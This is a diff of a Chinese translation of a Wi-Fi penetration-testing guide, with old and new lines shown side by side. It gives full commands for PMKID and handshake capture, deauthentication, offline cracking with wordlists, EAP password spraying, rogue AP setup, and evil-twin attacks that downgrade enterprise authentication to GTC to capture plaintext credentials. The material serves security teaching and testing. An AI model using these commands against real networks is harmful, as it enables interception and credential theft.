./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
``` ```
**捕获的PMKID** 将在**控制台**中显示,并且也会被**保存**在 \_**/tmp/attack.pcap**\_ 中\ 捕获到的**PMKIDs**将显示在**控制台**中,并且也会**保存**在 **/tmp/attack.pcap** 文件中\
现在,将捕获的文件转换为 **hashcat/john** 格式并破解它 现在,将捕获的内容转换为**hashcat/john**格式并进行破解
```bash ```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
``` ```
请注意,正确的哈希包含**4个部分**_4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\ 请注意,正确的哈希格式包含**4个部分**_4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6f6e65436f6e6e6563743034383131343838_\
\_\_如果您的**只**包含**3个部分**,那么它是**无效的**PMKID捕获不有效)。 \_\_如果您的哈希值**只包含3个部分**,那么它是**无效的**PMKID捕获效)。
请注意,`hcxdumptool` **也能捕获握手**(会出现类似这样的信息**`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。您可以使用`cap2hccapx`将**握手**转换为**hashcat**/**john**格式。 请注意,`hcxdumptool`**也会捕获握手**(类似于这样的内容**`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。您可以使用`cap2hccapx`将**握手**转换为**hashcat**/**john**格式。
```bash ```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -335,30 +338,28 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
``` ```
_我注意到即使知道正确密码使用这个工具捕获的一些握手也无法被破解。我建议如果可能的话也通过传统方式捕获握手或者使用这个工具捕获多个握手。_
### 握手捕获 ### 握手捕获
攻击 **WPA/WPA2** 网络的一种方式是捕获 **握手** 并尝试 **离线** 破解使用的密码。为此,你需要找到 **受害者** 网络的 **BSSID****频道**,以及连接到网络的 **客户端**。\ 攻击**WPA/WPA2**网络的一种方法是捕获**握手**,然后尝试**离线破解**使用的密码。为此,您需要找到**受害者**网络的**BSSID**和**信道**,以及连接到网络的**客户端**。\
一旦你有了这些信息,你就必须开始 **监听****BSSID** 在该 **频道** 的所有通信,因为希望握手会在那里发送 一旦您获得这些信息,您就需要开始**监听**该**信道**中**BSSID**的所有通信,希望握手会被发送到那里
```bash ```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
``` ```
现在你需要将**客户端**进行**去认证**几秒钟,以便它会自动再次对接入点(AP)进行认证请阅读DoS部分以找到多种去认证客户端的方法 现在,您需要**使客户端****去认证**几秒钟这样它将自动重新认证到AP请阅读DoS部分找到几种使客户端去认证的方法:
```bash ```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
``` ```
请注意由于客户端被强制下线它可能会尝试连接到不同的AP或者在其他情况下连接到不同的网络。 _注意由于客户端被去认证它可能会尝试连接到另一个接入点或者在其他情况下连接到另一个网络。_
一旦在`airodump-ng`中出现一些握手信息,这意味着握手已被捕获,可以停止监听: 一旦在 `airodump-ng` 中出现一些握手信息,这意味着握手已被捕获,可以停止监听:
![](<../../.gitbook/assets/image (172) (1).png>) ![](<../../.gitbook/assets/image (172) (1).png>)
一旦握手被捕获,你可以使用`aircrack-ng`来**破解**它: 一旦握手被捕获,您可以使用 `aircrack-ng` **破解** 它:
``` ```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
``` ```
### 检查文件中是否存在握手 ### 检查文件中是否存在握手信息
**aircrack** **aircrack**
```bash ```bash
@ -372,70 +373,70 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
``` ```
cowpatty -r psk-01.cap -s "ESSID" -f - cowpatty -r psk-01.cap -s "ESSID" -f -
``` ```
_如果此工具在完成的握手之前发现了一个未完成的ESSID握手它将不会检测到有效的握手。_ _如果此工具在找到完整握手之前找到了 ESSID 的不完整握手,则不会检测到有效的握手。_
**pyrit** **pyrit**
```bash ```bash
apt-get install pyrit #Not working for newer versions of kali apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze pyrit -r psk-01.cap analyze
``` ```
## **WPA 企业版 (MGT)** ## **WPA企业MGT**
**它** 讨论企业 Wifi 可能使用的**不同认证方法**很重要。对于这类 Wifi您在 `airodump-ng` 中可能会看到类似这样的内容: **重要的是谈论企业Wifi可能使用的不同认证方法。对于这种类型的Wifi您可能会在`airodump-ng`中找到类似以下内容:**
``` ```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
``` ```
**EAP**(可扩展认证协议)是**认证通信**的**核心**,在此基础上,服务器使用**认证算法**对**客户端****请求者**)进行认证,在某些情况下,客户端也用来认证服务器。 **EAP**(可扩展认证协议)是**认证通信**的**核心**,在此基础上,服务器使用**认证算法**对**客户端****请求者**)进行认证,有时也由客户端对服务器进行认证。\
主要使用的认证算法包括 在此情况下主要使用的认证算法有
* **EAP-GTC** 是一种EAP方法支持使用硬件令牌和一次性密码与EAP-PEAP一起使用。其实现类似于MSCHAPv2但不使用对等挑战。相反密码以**明文**发送到接入点(对降级攻击非常有趣)。 - **EAP-GTC**是一种EAP方法支持使用硬件令牌和一次性密码与EAP-PEAP一起使用。其实现类似于MSCHAPv2但不使用对等挑战。相反密码以**明文**形式发送到接入点(对降级攻击非常有趣)。
* **EAP-MD-5消息摘要** 客户端发送密码的MD5哈希。**不推荐**:易受字典攻击,无服务器认证,无法生成每个会话的有线等效隐私WEP密钥。 - **EAP-MD-5消息摘要**客户端发送密码的MD5哈希。**不推荐使用**:易受字典攻击,没有服务器认证,也无法生成每个会话的有线等效隐私WEP密钥。
* **EAP-TLS传输层安全** 它依赖于**客户端和服务器端证书**来执行认证并可用于动态生成基于用户和基于会话的WEP密钥以保护后续通信。 - **EAP-TLS传输层安全**依赖于**客户端和服务器端证书**进行认证并可用于动态生成基于用户和会话的WEP密钥以保护随后的通信。
* **EAP-TTLS隧道传输层安全** 通过加密通道(或隧道)实现客户端和网络的**双向认证**,以及派生动态的、每用户的、每会话的WEP密钥。与EAP-TLS不同**EAP-TTLS仅需要服务器端证书客户端将使用凭据**。 - **EAP-TTLS隧道传输层安全**通过加密通道(或隧道)实现客户端和网络的**相互认证**,以及派生动态的、每个用户、每个会话的WEP密钥。与EAP-TLS不同**EAP-TTLS仅需要服务器端证书客户端将使用凭据**。
* **PEAP受保护的可扩展认证协议** PEAP类似于**EAP**协议,但创建了一个**TLS隧道**来保护通信。然后可以在EAP之上使用弱认证协议因为它们将受到隧道的保护。 - **PEAP受保护的可扩展认证协议**PEAP类似于**EAP**协议,但创建了一个**TLS隧道**来保护通信。然后可以在EAP之上使用弱认证协议因为它们将受到隧道的保护。
* **PEAP-MSCHAPv2** 这也被称为**PEAP**因为它被广泛采用。这只是在PEAP之上的脆弱挑战/响应称为MSCHAPv2它受到TLS隧道的保护 - **PEAP-MSCHAPv2**也称为**PEAP**因为它被广泛采用。这只是在PEAP之上的易受攻击的挑战/响应称为MSCHAPv2它受到TLS隧道的保护
* **PEAP-EAP-TLS或仅PEAP-TLS** 与**EAP-TLS**非常相似,但在交换证书之前创建一个TLS隧道。 - **PEAP-EAP-TLS或PEAP-TLS**与**EAP-TLS**非常相似,但在交换证书之前创建一个TLS隧道。
您可以在[这里](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)和[这里](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)找到更多关于这些认证方法的信息。 您可以在[这里](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol)和[这里](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)找到有关这些认证方法的更多信息。
### 用户名捕获 ### 用户名捕获
阅读[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27),如果您使用**EAP****"Identity"** **消息**必须得到**支持**,并且**用户名**将在**"Response Identity"**消息中以**明文**发送。 阅读[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)看起来,如果您正在使用**EAP**,则必须支持**“身份”** **消息**,并且**用户名**将在**“响应身份”**消息中以**明文**形式发送。
即使使用最安全的认证方法之一:**PEAP-EAP-TLS**,也有可能**捕获在EAP协议中发送的用户名**。为此,**捕获认证通信**(在一个频道内启动`airodump-ng`并在同一接口上使用`wireshark`),并按`eapol`过滤数据包。\ 即使使用最安全的认证方法之一:**PEAP-EAP-TLS**,也可以**捕获在EAP协议中发送的用户名**。为此,**捕获认证通信**(在一个信道内启动`airodump-ng`,在同一接口上启动`wireshark`),并通过`eapol`过滤数据包。\
"**Response, Identity**"数据包中,将出现客户端的**用户名**。 “**响应,身份**”数据包中,将显示客户端的**用户名**。
![](<../../.gitbook/assets/image (150).png>) ![](<../../.gitbook/assets/image (150).png>)
### 匿名身份 ### 匿名身份
(信息取自[https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm) EAP-PEAP和EAP-TTLS都支持身份隐藏。在WiFi网络的上下文中接入点AP通常在关联过程中启动EAP-Identity请求。为确保用户匿名性的保护用户设备上的EAP客户端的响应仅包含初始RADIUS服务器处理请求所需的基本信息。通过以下场景说明了这一概念
**EAP-PEAP和EAP-TTLS都支持身份隐藏**。在WiFi环境中接入点AP通常在关联过程中生成一个EAP-Identity请求。为了保持匿名用户系统上的EAP客户端可能只响应足够的信息以允许第一跳RADIUS服务器处理请求如下例所示。 - EAP-Identity = 匿名
* _**EAP-Identity = anonymous**_ 在这种情况下所有用户都使用伪名“匿名”作为其用户标识符。初始RADIUS服务器充当EAP-PEAP或EAP-TTLS服务器负责管理PEAP或TTLS协议的服务器端。然后内部受保护的认证方法要么在本地处理要么委托给远程家庭RADIUS服务器。
> 在此示例中所有用户将共享伪用户名“anonymous”。第一跳RADIUS服务器是EAP-PEAP或EAP-TTLS服务器它驱动PEAP或TTLS协议的服务器端。然后内部受保护的认证类型将由本地处理或代理到远程家庭RADIUS服务器。 - EAP-Identity = 匿名@realm_x
* _**EAP-Identity = anonymous@realm_x**_ 在这种情况下来自不同领域的用户隐藏其身份同时指示各自的领域。这使初始RADIUS服务器能够将EAP-PEAP或EAP-TTLS请求代理到其家庭领域中的RADIUS服务器后者充当PEAP或TTLS服务器。初始RADIUS服务器仅充当RADIUS中继节点。
> 在此示例中属于不同领域的用户隐藏自己的身份但指出他们属于哪个领域以便第一跳RADIUS服务器可以将EAP-PEAP或EAP-TTLS请求代理到他们家庭领域的RADIUS服务器后者将充当PEAP或TTLS服务器。第一跳服务器纯粹充当RADIUS中继节点。 或者初始RADIUS服务器可以充当EAP-PEAP或EAP-TTLS服务器并处理受保护的认证方法或将其转发到另一台服务器。此选项便于为不同领域配置不同策略。
>
> 或者第一跳服务器可以充当EAP-PEAP或EAP-TTLS服务器并处理受保护的认证方法或将其代理到另一个服务器。此选项可用于为不同领域配置不同的策略。
在EAP-PEAP中一旦PEAP服务器和PEAP客户端建立了TLS隧道PEAP服务器就会生成一个EAP-Identity请求并通过TLS隧道传输。客户端对这第二个EAP-Identity请求做出响应通过加密隧道发送包含用户真实身份的EAP-Identity响应。这可以防止任何窃听802.11流量的人发现用户的真实身份。 在EAP-PEAP中一旦PEAP服务器和PEAP客户端之间建立了TLS隧道PEAP服务器会发起EAP-Identity请求并通过TLS隧道传输。客户端通过发送包含用户真实身份的EAP-Identity响应来响应这个第二个EAP-Identity请求通过加密隧道传输。这种方法有效地防止了任何窃听802.11流量的人揭示用户的实际身份。
EAP-TTLS的工作方式略有不同。在EAP-TTLS中客户端通常通过受TLS隧道保护的PAP或CHAP进行认证。在这种情况下客户端将在建立隧道后发送的第一个TLS消息中包含一个User-Name属性和一个Password或CHAP-Password属性。 EAP-TTLS遵循略有不同的过程。使用EAP-TTLS客户端通常使用PAP或CHAP进行身份验证由TLS隧道保护。在这种情况下客户端在隧道建立后发送的初始TLS消息中包含用户名属性和密码或CHAP-密码属性。
无论使用哪种协议一旦建立了TLS隧道PEAP/TTLS服务器就会了解用户的真实身份。真实身份可能是形式为_**user@realm**_或简单的_**user**_。如果PEAP/TTLS服务器也在认证_**user**_它现在知道了用户的身份并继续进行受TLS隧道保护的认证方法。或者PEAP/TTLS服务器可能会向用户的家庭RADIUS服务器转发一个新的RADIUS请求。这个新的RADIUS请求已经去除了PEAP或TTLS协议。如果受保护的认证方法是EAP则内部EAP消息将不带EAP-PEAP或EAP-TTLS包装器传输到家庭RADIUS服务器。传出RADIUS消息的User-Name属性包含用户的真实身份 - 而不是传入RADIUS请求的User-Name属性中的匿名身份。如果受保护的认证方法是PAP或CHAP仅由TTLS支持则从TLS有效负载中恢复的User-Name和其他认证属性将放置在传出RADIUS消息中代替传入RADIUS请求中的匿名User-Name和TTLS EAP-Message属性。 无论选择哪种协议PEAP/TTLS服务器在建立TLS隧道后都会获知用户的真实身份。真实身份可以表示为用户@领域或简单地用户。如果PEAP/TTLS服务器还负责对用户进行身份验证则现在拥有用户的身份并继续使用TLS隧道保护的身份验证方法。或者PEAP/TTLS服务器可以向用户的家庭RADIUS服务器转发新的RADIUS请求。这个新的RADIUS请求省略了PEAP或TTLS协议层。在受保护的认证方法是EAP的情况下内部EAP消息将被传输到家庭RADIUS服务器而不包含EAP-PEAP或EAP-TTLS包装。传出RADIUS消息的User-Name属性包含用户的真实身份替换了传入RADIUS请求中的匿名User-Name。当受保护的认证方法是PAP或CHAP仅由TTLS支持从TLS负载中提取的User-Name和其他身份验证属性将替换传入RADIUS请求中找到的匿名User-Name和TTLS EAP-Message属性。
### EAP-Bruteforce密码喷涂 有关更多信息,请查看[https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
如果客户端预期使用**用户名和密码**(注意在这种情况下**EAP-TLS将不适用**),那么您可以尝试获取**用户名列表**(见下一部分)和**密码**,并尝试使用[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**。**进行**暴力破解**访问。 ### EAP-暴力破解(密码喷洒)
如果客户端预计使用**用户名和密码**(请注意,在这种情况下**EAP-TLS将无效**),则可以尝试获取**用户名列表**(请参见下一部分)和**密码**,并尝试使用[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)****进行访问的**暴力破解**。
```bash ```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
``` ```
你也可以使用 `eaphammer` 来进行这次攻击: 您也可以使用 `eaphammer` 进行此攻击:
```bash ```bash
./eaphammer --eap-spray \ ./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
@ -447,35 +448,35 @@ EAP-TTLS的工作方式略有不同。在EAP-TTLS中客户端通常通过受T
### 网络选择和漫游 ### 网络选择和漫游
尽管802.11协议对于站点如何加入ESS有非常具体的规则但它并没有规定站点应如何选择要连接的ESS。此外该协议允许站点在共享相同ESSID的接入点之间自由漫游因为您不希望在建筑物的一端走到另一端时失去WiFi连接等。然而802.11协议并没有规定应如何选择这些接入点。此外尽管站点必须经过ESS认证才能与接入点关联但802.11协议并不要求接入点对站点进行认证。 尽管 802.11 协议有非常具体的规则规定了一个站点如何加入一个 ESS但它并没有规定站点应该如何选择要连接的 ESS。此外该协议允许站点在共享相同 ESSID 的接入点之间自由漫游(因为你不希望在从建筑物的一端走到另一端时失去 WiFi 连接等。然而802.11 协议并未规定应如何选择这些接入点。此外,尽管站点必须经过身份验证才能与接入点关联,但 802.11 协议并不要求接入点对站点进行身份验证。
### 首选网络列表PNLs ### 首选网络列表PNLs
每次站点连接到无线网络时,网络的ESSID都会存储在站点的首选网络列表PNL中。PNL是站点过去连接过的每个网络的有序列表PNL中的每个条目都包含网络的ESSID和建立连接所需的任何特定于网络的配置信息。 每次站点连接到无线网络时,网络的 ESSID 会存储在站点的首选网络列表PNL中。PNL 是站点过去连接过的每个网络的有序列表PNL 中的每个条目包含网络的 ESSID 和建立连接所需的任何网络特定配置信息。
### 被动扫描 ### 被动扫描
在基础设施网络中,接入点定期传输信标帧以向附近的站点宣传其存在和能力。信标是广播帧这意味着它们旨在被范围内的所有附近站点接收。信标包括有关AP支持的速率、加密能力、附加信息的信息最重要的是信标帧包含AP的ESSID只要没有禁用ESSID广播)。 在基础设施网络中,接入点定期发送信标帧以向附近的站点广告其存在和能力。信标是广播帧,这意味着它们旨在被范围内所有附近的站点接收。信标包括有关 AP 支持的速率、加密能力、附加信息,最重要的是,信标帧包含 AP 的 ESSID只要 ESSID 广播未禁用)。
在被动扫描期间,客户端设备监听附近接入点的信标帧。如果客户端设备接收到一个其ESSID字段与客户端PNL中的ESSID匹配的信标帧客户端将自动连接到发送信标帧的接入点。然后假设我们想要针对当前未连接到任何无线的无线设备。如果我们至少知道客户端PNL中的一个条目我们可以通过创建具有该条目ESSID的自己的接入点简单地强制客户端连接到我们。 在被动扫描期间,客户端设备会监听附近接入点发送的信标帧。如果客户端设备收到一个 ESSID 字段与客户端的 PNL 中的 ESSID 匹配的信标帧,则客户端将自动连接到发送信标帧的接入点。然后,假设我们想要针对一个当前未连接到任何无线网络的无线设备。如果我们至少知道客户端PNL 中的一个条目,我们可以通过创建具有该条目ESSID 的自己的接入点,强制客户端连接到我们。
### 主动探测 ### 主动探测
802.11中使用的第二种网络选择算法称为主动探测。使用主动探测的客户端设备不断传输探测请求帧以确定哪些AP在范围内以及它们的能力如何。探测请求有两种形式定向和广播。定向探测请求针对特定的ESSID并且是客户端检查特定网络是否在附近的方式。 802.11 中使用的第二种网络选择算法称为主动探测。使用主动探测的客户端设备会持续发送探测请求帧,以确定范围内有哪些 AP以及它们的能力是什么。探测请求有两种形式定向和广播。定向探测请求是寻址到特定 ESSID 的,是客户端检查特定网络是否附近的方式。
使用定向探测的客户端将为其PNL中的每个网络发送探测请求。应该注意的是定向探测是识别附近隐藏网络存在的唯一方式。广播探测请求几乎完全相同但是发送时SSID字段设置为NULL。这将广播探测请求发送给所有附近的接入点使站点能够检查其首选网络是否在附近而不会泄露其PNL的内容 使用定向探测的客户端会为其 PNL 中的每个网络发送探测请求。值得注意的是,定向探测是唯一的方式来识别附近隐藏网络的存在。广播探测请求工作方式几乎完全相同,但是将 SSID 字段设置为 NULL。这将广播探测请求发送到所有附近的接入点允许站点检查其附近是否有任何首选网络而不会透露其 PNL 的内容。
## 简单AP及其重定向到互联网 ## 简单的具有重定向到互联网的 AP
在解释如何执行更复杂的攻击之前,将解释**如何**仅**创建**一个**AP**并**重定向**其**流量**到连接**到**互联网的接口。 在解释如何执行更复杂的攻击之前,将解释如何仅创建一个 AP 并将其流量重定向到连接到互联网的接口。
使用`ifconfig -a`检查创建AP的wlan接口和连接到互联网的接口是否存在。 使用 `ifconfig -a` 检查创建 AP wlan 接口和连接到互联网的接口是否存在。
### DHCP & DNS ### DHCP DNS
```bash ```bash
apt-get install dnsmasq #Manages DHCP and DNS apt-get install dnsmasq #Manages DHCP and DNS
``` ```
创建配置文件 _/etc/dnsmasq.conf_,内容如下: 创建一个配置文件 _/etc/dnsmasq.conf_,内容如下:
``` ```
interface=wlan0 interface=wlan0
dhcp-authoritative dhcp-authoritative
@ -492,15 +493,17 @@ listen-address=127.0.0.1
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
``` ```
然后**启动** dnsmasq 然后 **启动** dnsmasq
``` ```
dnsmasq -C dnsmasq.conf -d dnsmasq -C dnsmasq.conf -d
``` ```
### hostapd
### hostapd ### hostapd
``` ```
apt-get install hostapd apt-get install hostapd
``` ```
创建配置文件 _hostapd.conf:_ 创建一个配置文件 _hostapd.conf:_
``` ```
interface=wlan0 interface=wlan0
driver=nl80211 driver=nl80211
@ -518,7 +521,7 @@ wpa_group_rekey=86400
ieee80211n=1 ieee80211n=1
wme_enabled=1 wme_enabled=1
``` ```
**停止烦人的进程**,设置**监控模式**,并**启动hostapd** **停止烦人的进程**,设置**监视模式**,然后**启动hostapd**
``` ```
airmon-ng check kill airmon-ng check kill
iwconfig wlan0 mode monitor iwconfig wlan0 mode monitor
@ -531,54 +534,52 @@ iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward echo 1 > /proc/sys/net/ipv4/ip_forward
``` ```
## Evil Twin ## 恶意孪生者
Evil Twin 攻击是一种 Wi-Fi 攻击方式,它利用大多数计算机和手机只能看到无线网络的“名称”或 ESSID因为基站不需要对客户端进行认证的事实。这实际上使得区分具有相同名称和相同类型加密的网络变得非常困难。事实上许多网络会有几个使用相同名称的网络扩展接入点以扩大接入范围而不会让用户感到困惑。 恶意孪生者攻击是一种利用大多数计算机和手机只能看到无线网络的“名称”或ESSID因为基站不需要对客户端进行身份验证的Wi-Fi攻击类型。这实际上使得很难区分具有相同名称和相同加密类型的网络。事实上许多网络将有多个扩展网络访问点所有这些访问点都使用相同的名称来扩展访问而不会让用户感到困惑。
由于客户端的实现方式(记住802.11 协议允许站点在同一 ESS 内的接入点之间自由漫游),可以使设备更改它所连接的基站。可以通过提供更好的信号(这并不总是可能的)或通过阻止对原始基站的访问(去认证包,干扰或某种形式的 DoS 攻击)来实现这一点。 由于客户端的实现方式(请记住802.11协议允许站点在同一ESS内的访问点之间自由漫游可以使设备更改连接的基站。可以通过提供更好的信号这并非总是可能的或通过阻止对原始基站的访问去认证数据包干扰或其他形式的DoS攻击)来实现这一点。
还要注意,现实世界中的无线部署通常不止一个接入点,这些接入点通常更强大,并且由于它们朝向天花板的位置,具有更好的视线范围。去认证一个单独的接入点通常会导致目标向另一个有效的接入点漫游,而不是你的恶意 AP除非所有附近的接入点都被去认证声音大或者你对恶意 AP 的位置非常小心(困难)。 还要注意,现实世界中的无线部署通常不止一个访问点这些访问点通常更强大并且由于其朝向天花板的位置而具有更好的视距范围。去认证单个访问点通常会导致目标漫游到另一个有效的访问点而不是您的恶意AP除非附近的所有访问点都被去认证大声或您对恶意AP的放置非常小心(困难)。
你可以创建一个非常基础的 Open Evil Twin没有将流量路由到互联网的能力方法是 您可以创建一个非常基本的开放式恶意孪生者(没有将流量路由到互联网的功能)
```bash ```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
``` ```
您还可以使用 **eaphammer** 创建一个恶意兄弟(注意,使用 eaphammer 创建恶意兄弟时,接口**不应该**处于**监视**模式): 您还可以使用**eaphammer**创建一个恶意双子请注意要使用eaphammer创建恶意双子接口**不应该**处于**监控**模式):
``` ```
./eaphammer -i wlan0 --essid exampleCorp --captive-portal ./eaphammer -i wlan0 --essid exampleCorp --captive-portal
``` ```
使用 Airgeddon`选项5,6,7,8,9在 Evil Twin 攻击菜单内)。` 者使用Airgeddon`选项5,6,7,8,9在恶意双胞胎攻击菜单中)。`
![](<../../.gitbook/assets/image (148).png>) ![](<../../.gitbook/assets/image (148).png>)
请注意,默认情况下,如果 PNL 中的 ESSID 被保存为 WPA 保护的,设备不会自动连接到开放的 Evil Twin。您可以尝试对真实 AP 进行 DoS 攻击,希望用户会手动连接到您的开放 Evil Twin或者您可以对真实 AP 进行 DoS 攻击并使用 WPA Evil Twin 来捕获握手过程(使用这种方法您无法让受害者连接到您的网络,因为您不知道 PSK但您可以捕获握手过程并尝试破解)。 请注意,默认情况下,如果PNL中保存的ESSID受到WPA保护设备不会自动连接到一个开放的恶意双胞胎。您可以尝试对真实AP进行DoS攻击并希望用户手动连接到您的开放恶意双胞胎或者您可以对真实AP进行DoS攻击并使用WPA恶意双胞胎来捕获握手使用此方法您将无法让受害者连接到您因为您不知道PSK但您可以捕获握手并尝试破解它)。
_一些操作系统和防病毒软件会警告用户连接到开放网络是危险的..._ _一些操作系统和防病毒软件会警告用户连接到开放网络是危险的..._
### WPA/WPA2 Evil Twin ### WPA/WPA2恶意双胞胎
您可以创建一个使用 WPA/2 的 **Evil Twin**,如果设备已配置为使用 WPA/2 连接到该 SSID它们将尝试连接。无论如何为了**完成 4 方握手**,您还需要**知道**客户端将使用的**密码**。如果您**不知道****连接将无法完成**。 您可以创建一个**使用WPA/2的恶意双胞胎**如果设备已配置为使用WPA/2连接到该SSID它们将尝试连接。无论如何**要完成4次握手**,您还需要**知道**客户端将使用的**密码**。如果您**不知道****连接将无法完成**。
``` ```
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
``` ```
### 企业级恶双胞胎 ### 企业级恶双胞胎
理解这些攻击,我建议先阅读简要的[WPA 企业级解释](./#wpa-enterprise-mgt)。 了解这些攻击,我建议先阅读简要的[WPA企业解释](./#wpa-enterprise-mgt)。
**使用 hostapd-wpe** **使用hostapd-wpe**
`hostapd-wpe` 需要一个**配置**文件才能工作。为了**自动化**生成这些配置,你可以使用 [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad)(下载 Python 文件放在 _/etc/hostapd-wpe/_ 中) `hostapd-wpe`需要一个**配置**文件才能工作。要**自动化**生成这些配置,您可以使用[https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad)下载python文件到 _/etc/hostapd-wpe/_)。
``` ```
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s hostapd-wpe ./victim/victim.conf -s
``` ```
```markdown 在配置文件中您可以选择许多不同的内容如SSID、频道、用户文件、证书/密钥、DH参数、WPA版本和认证...
在配置文件中,您可以选择许多不同的内容,如 ssid、频道、用户文件、证书/密钥、dh 参数、wpa 版本和认证等...
[**使用 hostapd-wpe 与 EAP-TLS 允许任何证书登录。**](evil-twin-eap-tls.md) [**使用hostapd-wpe与EAP-TLS允许任何证书登录。**](evil-twin-eap-tls.md)
**使用 EAPHammer** **使用EAPHammer**
```
```bash ```bash
# Generate Certificates # Generate Certificates
./eaphammer --cert-wizard ./eaphammer --cert-wizard
@ -586,51 +587,51 @@ hostapd-wpe ./victim/victim.conf -s
# Launch Attack # Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
``` ```
默认情况下EAPHammer 使用以下认证方法(注意 GTC 是首先尝试获取明文密码的方法,然后是使用更健壮的认证方法): 默认情况下EAPHammer使用以下身份验证方法请注意首先尝试获取明文密码的是GTC然后使用更强大的身份验证方法):
``` ```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
``` ```
这是避免长时间连接的默认方法。然而,您也可以指定服务器从最弱到最强的认证方法 这是避免长连接时间的默认方法。但是,您也可以指定服务器的认证方法从最弱到最强
``` ```
--negotiate weakest --negotiate weakest
``` ```
也可以使用: 或者你也可以使用:
* `--negotiate gtc-downgrade` 来使用高效的 GTC 降级实现(明文密码) * 使用 `--negotiate gtc-downgrade` 来使用高效的 GTC 降级实现(明文密码)
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` 手动指定提供的方法(提供与组织相同的认证方法和相同的顺序,攻击将更难以被检测)。 * 使用 `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` 来手动指定提供的方法(以与组织相同的顺序提供相同的认证方法,攻击将更难被检测)。
